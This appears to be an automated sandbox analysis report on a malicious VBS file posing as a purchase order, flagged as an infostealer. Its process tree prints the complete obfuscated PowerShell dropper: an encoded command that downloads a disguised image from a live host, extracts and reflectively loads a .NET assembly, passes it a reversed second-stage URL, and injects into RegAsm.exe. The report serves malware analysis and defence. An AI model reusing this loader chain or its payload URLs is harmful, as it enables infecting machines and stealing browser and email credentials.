Analysis

  • max time kernel
    140s
  • max time network
    156s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20230703-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20230703-enlocale:en-usos:windows10-2004-x64system
  • submitted
    03/08/2023, 15:44

General

  • Target
    GREENN VALLEY PO REVISED NO363846348.vbs
  • Size 137KB
  • Sample230803-s6gncaea33
  • SHA256 e7a157ba1819d7af9a5f66aa9e161cce68d20792d117a90332ff797cbbd8aaa5
  • MD5 SHA1 SHA512 SSDEEP
Score
10/10

Malware Config

Extracted

Language
  • ps1

Source
URLs
  • ps1.dropper

    https://uploaddeimagens.com.br/images/004/559/510/original/rump_private.jpg?1690504129

  • exe.dropper

    https://uploaddeimagens.com.br/images/004/559/510/original/rump_private.jpg?1690504129

Signatures

  • Blocklisted process makes network request 2 IoCs
  • Reads user/profile data of local email clients 2 TTPs

    Email clients store some user data on disk where infostealers will often target it.

  • Reads user/profile data of web browsers 2 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

  • Suspicious use of SetThreadContext 1 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Suspicious behavior: EnumeratesProcesses 6 IoCs
  • Suspicious use of AdjustPrivilegeToken 3 IoCs
  • Suspicious use of WriteProcessMemory 12 IoCs

Processes

  • C:\Windows\System32\WScript.exe
    "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\GREENN VALLEY PO REVISED NO363846348.vbs"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:1788
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $Codigo = 'J#@$#Bp#@$#G0#@$#YQBn#@$#GU#@$#VQBy#@$#Gw#@$#I#@$##@$#9#@$#C#@$##@$#JwBo#@$#HQ#@$#d#@$#Bw#@$#HM#@$#Og#@$#v#@$#C8#@$#dQBw#@$#Gw#@$#bwBh#@$#GQ#@$#Z#@$#Bl#@$#Gk#@$#bQBh#@$#Gc#@$#ZQBu#@$#HM#@$#LgBj#@$#G8#@$#bQ#@$#u#@$#GI#@$#cg#@$#v#@$#Gk#@$#bQBh#@$#Gc#@$#ZQBz#@$#C8#@$#M#@$##@$#w#@$#DQ#@$#Lw#@$#1#@$#DU#@$#OQ#@$#v#@$#DU#@$#MQ#@$#w#@$#C8#@$#bwBy#@$#Gk#@$#ZwBp#@$#G4#@$#YQBs#@$#C8#@$#cgB1#@$#G0#@$#c#@$#Bf#@$#H#@$##@$#cgBp#@$#HY#@$#YQB0#@$#GU#@$#LgBq#@$#H#@$##@$#Zw#@$#/#@$#DE#@$#Ng#@$#5#@$#D#@$##@$#NQ#@$#w#@$#DQ#@$#MQ#@$#y#@$#Dk#@$#Jw#@$#7#@$#CQ#@$#dwBl#@$#GI#@$#QwBs#@$#Gk#@$#ZQBu#@$#HQ#@$#I#@$##@$#9#@$#C#@$##@$#TgBl#@$#Hc#@$#LQBP#@$#GI#@$#agBl#@$#GM#@$#d#@$##@$#g#@$#FM#@$#eQBz#@$#HQ#@$#ZQBt#@$#C4#@$#TgBl#@$#HQ#@$#LgBX#@$#GU#@$#YgBD#@$#Gw#@$#aQBl#@$#G4#@$#d#@$##@$#7#@$#CQ#@$#aQBt#@$#GE#@$#ZwBl#@$#EI#@$#eQB0#@$#GU#@$#cw#@$#g#@$#D0#@$#I#@$##@$#k#@$#Hc#@$#ZQBi#@$#EM#@$#b#@$#Bp#@$#GU#@$#bgB0#@$#C4#@$#R#@$#Bv#@$#Hc#@$#bgBs#@$#G8#@$#YQBk#@$#EQ#@$#YQB0#@$#GE#@$#K#@$##@$#k#@$#Gk#@$#bQBh#@$#Gc#@$#ZQBV#@$#HI#@$#b#@$##@$#p#@$#Ds#@$#J#@$#Bp#@$#G0#@$#YQBn#@$#GU#@$#V#@$#Bl#@$#Hg#@$#d#@$##@$#g#@$#D0#@$#I#@$#Bb#@$#FM#@$#eQBz#@$#HQ#@$#ZQBt#@$#C4#@$#V#@$#Bl#@$#Hg#@$#d#@$##@$#u#@$#EU#@$#bgBj#@$#G8#@$#Z#@$#Bp#@$#G4#@$#ZwBd#@$#Do#@$#OgBV#@$#FQ#@$#Rg#@$#4#@$#C4#@$#RwBl#@$#HQ#@$#UwB0#@$#HI#@$#aQBu#@$#Gc#@$#K#@$##@$#k#@$#Gk#@$#bQBh#@$#Gc#@$#ZQBC#@$#Hk#@$#d#@$#Bl#@$#HM#@$#KQ#@$#7#@$#CQ#@$#cwB0#@$#GE#@$#cgB0#@$#EY#@$#b#@$#Bh#@$#Gc#@$#I#@$##@$#9#@$#C#@$##@$#Jw#@$#8#@$#Dw#@$#QgBB#@$#FM#@$#RQ#@$#2#@$#DQ#@$#XwBT#@$#FQ#@$#QQBS#@$#FQ#@$#Pg#@$#+#@$#Cc#@$#Ow#@$#k#@$#GU#@$#bgBk#@$#EY#@$#b#@$#Bh#@$#Gc#@$#I#@$##@$#9#@$#C#@$##@$#Jw#@$#8#@$#Dw#@$#QgBB#@$#FM#@$#RQ#@$#2#@$#DQ#@$#XwBF#@$#E4#@$#R#@$##@$#+#@$#D4#@$#Jw#@$#7#@$#CQ#@$#cwB0#@$#GE#@$#cgB0#@$#Ek#@$#bgBk#@$#GU#@$#e#@$##@$#g#@$#D0#@$#I#@$##@$#k#@$#Gk#@$#bQBh#@$#Gc#@$#ZQBU#@$#GU#@$#e#@$#B0#@$#C4#@$#SQBu#@$#GQ#@$#ZQB4#@$#E8#@$#Zg#@$#o#@$#CQ#@$#cwB0#@$#GE#@$#cgB0#@$#EY#@$#b#@$#Bh#@$#Gc#@$#KQ#@$#7#@$#CQ#@$#ZQBu#@$#GQ#@$#SQBu#@$#GQ#@$#ZQB4#@$#C#@$##@$#PQ#@$#g#@$#CQ#@$#aQBt#@$#GE#@$#ZwBl#@$#FQ#@$#ZQB4#@$#HQ#@$#LgBJ#@$#G4#@$#Z#@$#Bl#@$#Hg#@$#TwBm#@$#Cg#@$#J#@$#Bl#@$#G4#@$#Z#@$#BG#@$#Gw#@$#YQBn#@$#Ck#@$#Ow#@$#k#@$#HM#@$#d#@$#Bh#@$#HI#@$#d#@$#BJ#@$#G4#@$#Z#@$#Bl#@$#Hg#@$#I#@$##@$#t#@$#Gc#@$#ZQ#@$#g#@$#D#@$##@$#I#@$##@$#t#@$#GE#@$#bgBk#@$#C#@$##@$#J#@$#Bl#@$#G4#@$#Z#@$#BJ#@$#G4#@$#Z#@$#Bl#@$#Hg#@$#I#@$##@$#t#@$#Gc#@$#d#@$##@$#g#@$#CQ#@$#cwB0#@$#GE#@$#cgB0#@$#Ek#@$#bgBk#@$#GU#@$#e#@$##@$#7#@$#CQ#@$#cwB0#@$#GE#@$#cgB0#@$#Ek#@$#bgBk#@$#GU#@$#e#@$##@$#g#@$#Cs#@$#PQ#@$#g#@$#CQ#@$#cwB0#@$#GE#@$#cgB0#@$#EY#@$#b#@$#Bh#@$#Gc#@$#LgBM#@$#GU#@$#bgBn#@$#HQ#@$#a#@$##@$#7#@$#CQ#@$#YgBh#@$#HM#@$#ZQ#@$#2#@$#DQ#@$#T#@$#Bl#@$#G4#@$#ZwB0#@$#Gg#@$#I#@$##@$#9#@$#C#@$##@$#J#@$#Bl#@$#G4#@$#Z#@$#BJ#@$#G4#@$#Z#@$#Bl#@$#Hg#@$#I#@$##@$#t#@$#C#@$##@$#J#@$#Bz#@$#HQ#@$#YQBy#@$#HQ#@$#SQBu#@$#GQ#@$#ZQB4#@$#Ds#@$#J#@$#Bi#@$#GE#@$#cwBl#@$#DY#@$#N#@$#BD#@$#G8#@$#bQBt#@$#GE#@$#bgBk#@$#C#@$##@$#PQ#@$#g#@$#CQ#@$#aQBt#@$#GE#@$#ZwBl#@$#FQ#@$#ZQB4#@$#HQ#@$#LgBT#@$#HU#@$#YgBz#@$#HQ#@$#cgBp#@$#G4#@$#Zw#@$#o#@$#CQ#@$#cwB0#@$#GE#@$#cgB0#@$#Ek#@$#bgBk#@$#GU#@$#e#@$##@$#s#@$#C#@$##@$#J#@$#Bi#@$#GE#@$#cwBl#@$#DY#@$#N#@$#BM#@$#GU#@$#bgBn#@$#HQ#@$#a#@$##@$#p#@$#Ds#@$#J#@$#Bj#@$#G8#@$#bQBt#@$#GE#@$#bgBk#@$#EI#@$#eQB0#@$#GU#@$#cw#@$#g#@$#D0#@$#I#@$#Bb#@$#FM#@$#eQBz#@$#HQ#@$#ZQBt#@$#C4#@$#QwBv#@$#G4#@$#dgBl#@$#HI#@$#d#@$#Bd#@$#Do#@$#OgBG#@$#HI#@$#bwBt#@$#EI#@$#YQBz#@$#GU#@$#Ng#@$#0#@$#FM#@$#d#@$#By#@$#Gk#@$#bgBn#@$#Cg#@$#J#@$#Bi#@$#GE#@$#cwBl#@$#DY#@$#N#@$#BD#@$#G8#@$#bQBt#@$#GE#@$#bgBk#@$#Ck#@$#Ow#@$#k#@$#Gw#@$#bwBh#@$#GQ#@$#ZQBk#@$#EE#@$#cwBz#@$#GU#@$#bQBi#@$#Gw#@$#eQ#@$#g#@$#D0#@$#I#@$#Bb#@$#FM#@$#eQBz#@$#HQ#@$#ZQBt#@$#C4#@$#UgBl#@$#GY#@$#b#@$#Bl#@$#GM#@$#d#@$#Bp#@$#G8#@$#bg#@$#u#@$#EE#@$#cwBz#@$#GU#@$#bQBi#@$#Gw#@$#eQBd#@$#Do#@$#OgBM#@$#G8#@$#YQBk#@$#Cg#@$#J#@$#Bj#@$#G8#@$#bQBt#@$#GE#@$#bgBk#@$#EI#@$#eQB0#@$#GU#@$#cw#@$#p#@$#Ds#@$#J#@$#B0#@$#Hk#@$#c#@$#Bl#@$#C#@$##@$#PQ#@$#g#@$#CQ#@$#b#@$#Bv#@$#GE#@$#Z#@$#Bl#@$#GQ#@$#QQBz#@$#HM#@$#ZQBt#@$#GI#@$#b#@$#B5#@$#C4#@$#RwBl#@$#HQ#@$#V#@$#B5#@$#H#@$##@$#ZQ#@$#o#@$#Cc#@$#RgBp#@$#GI#@$#ZQBy#@$#C4#@$#S#@$#Bv#@$#G0#@$#ZQ#@$#n#@$#Ck#@$#Ow#@$#k#@$#G0#@$#ZQB0#@$#Gg#@$#bwBk#@$#C#@$##@$#PQ#@$#g#@$#CQ#@$#d#@$#B5#@$#H#@$##@$#ZQ#@$#u#@$#Ec#@$#ZQB0#@$#E0#@$#ZQB0#@$#Gg#@$#bwBk#@$#Cg#@$#JwBW#@$#EE#@$#SQ#@$#n#@$#Ck#@$#Ow#@$#k#@$#GE#@$#cgBn#@$#HU#@$#bQBl#@$#G4#@$#d#@$#Bz#@$#C#@$##@$#PQ#@$#g#@$#Cw#@$#K#@$##@$#n#@$#HQ#@$#e#@$#B0#@$#C4#@$#N#@$##@$#2#@$#GU#@$#egBh#@$#GI#@$#dwBl#@$#G4#@$#cgB0#@$#HM#@$#YQBj#@$#C8#@$#N#@$##@$#y#@$#C4#@$#M#@$##@$#y#@$#DE#@$#Lg#@$#4#@$#Dc#@$#MQ#@$#u#@$#DU#@$#OQ#@$#x#@$#C8#@$#Lw#@$#6#@$#H#@$##@$#d#@$#B0#@$#Gg#@$#Jw#@$#p#@$#Ds#@$#J#@$#Bt#@$#GU#@$#d#@$#Bo#@$#G8#@$#Z#@$##@$#u#@$#Ek#@$#bgB2#@$#G8#@$#awBl#@$#Cg#@$#J#@$#Bu#@$#HU#@$#b#@$#Bs#@$#Cw#@$#I#@$##@$#k#@$#GE#@$#cgBn#@$#HU#@$#bQBl#@$#G4#@$#d#@$#Bz#@$#Ck#@$#';$OWjuxd = [system.Text.encoding]::Unicode.GetString( [system.Convert]::Frombase64String( $codigo.replace('#@$#','A') ) );powershell.exe -windowstyle hidden -executionpolicy bypss -NoProfile -command $OWjuxD
      2⤵
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:1728
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypss -NoProfile -command "$imageUrl = 'https://uploaddeimagens.com.br/images/004/559/510/original/rump_private.jpg?1690504129';$webClient = New-Object System.Net.WebClient;$imageBytes = $webClient.DownloadData($imageUrl);$imageText = [System.Text.Encoding]::UTF8.GetString($imageBytes);$startFlag = '<<BASE64_START>>';$endFlag = '<<BASE64_END>>';$startIndex = $imageText.IndexOf($startFlag);$endIndex = $imageText.IndexOf($endFlag);$startIndex -ge 0 -and $endIndex -gt $startIndex;$startIndex += $startFlag.Length;$base64Length = $endIndex - $startIndex;$base64Command = $imageText.Substring($startIndex, $base64Length);$commandBytes = [System.Convert]::FromBase64String($base64Command);$loadedAssembly = [System.Reflection.Assembly]::Load($commandBytes);$type = $loadedAssembly.GetType('Fiber.Home');$method = $type.GetMethod('VAI');$arguments = ,('txt.46ezabwenrtsac/42.021.871.591//:ptth');$method.Invoke($null, $arguments)"
        3⤵
        • Blocklisted process makes network request
        • Suspicious use of SetThreadContext
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of WriteProcessMemory
        PID:3976
        • C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
          "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
          4⤵
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:1456

Network

        MITRE ATT&CK Enterprise v15

        Replay Monitor

        Loading Replay Monitor...

        Downloads

        powershell.exe.log

        • Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
        • Size 2KB
        • SHA256 3b0068d29ae4b20c447227fbf410aa2deedfef6220ccc3f698f3c7707c032c55
        • MD5 SHA1 SHA512

        StartupProfileData-NonInteractive

        • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
        • Size 64B
        • SHA256 1141e163d84d5ef0038593c866647f27c55510de2147dc1578130e518a22cced
        • MD5 SHA1 SHA512

        __PSScriptPolicyTest_vg223wvm.03q.ps1

        • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_vg223wvm.03q.ps1
        • Size 60B
        • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
        • MD5 SHA1 SHA512

        memory/1456-171-0x0000000005850000-0x00000000058B6000-memory.dmp

        memory/1456-168-0x0000000074F10000-0x00000000756C0000-memory.dmp

        memory/1456-176-0x0000000005840000-0x0000000005850000-memory.dmp

        memory/1456-175-0x0000000074F10000-0x00000000756C0000-memory.dmp

        memory/1456-174-0x0000000006670000-0x000000000667A000-memory.dmp

        memory/1456-173-0x00000000066E0000-0x0000000006772000-memory.dmp

        memory/1456-172-0x00000000065F0000-0x0000000006640000-memory.dmp

        memory/1456-160-0x0000000000400000-0x0000000000442000-memory.dmp

        memory/1456-170-0x0000000005840000-0x0000000005850000-memory.dmp

        memory/1456-169-0x0000000005CD0000-0x0000000006274000-memory.dmp

        memory/1728-167-0x00007FFA1B0B0000-0x00007FFA1BB71000-memory.dmp

        memory/1728-144-0x0000018B6D250000-0x0000018B6D260000-memory.dmp

        memory/1728-143-0x00007FFA1B0B0000-0x00007FFA1BB71000-memory.dmp

        memory/1728-145-0x0000018B6D250000-0x0000018B6D260000-memory.dmp

        memory/1728-141-0x0000018B6DD10000-0x0000018B6DD32000-memory.dmp

        memory/1728-146-0x0000018B6D250000-0x0000018B6D260000-memory.dmp

        memory/3976-163-0x00007FFA1B0B0000-0x00007FFA1BB71000-memory.dmp

        memory/3976-159-0x000001F4C1B60000-0x000001F4C1B70000-memory.dmp

        memory/3976-158-0x000001F4C1B60000-0x000001F4C1B70000-memory.dmp

        memory/3976-157-0x000001F4C1B60000-0x000001F4C1B70000-memory.dmp

        memory/3976-156-0x00007FFA1B0B0000-0x00007FFA1BB71000-memory.dmp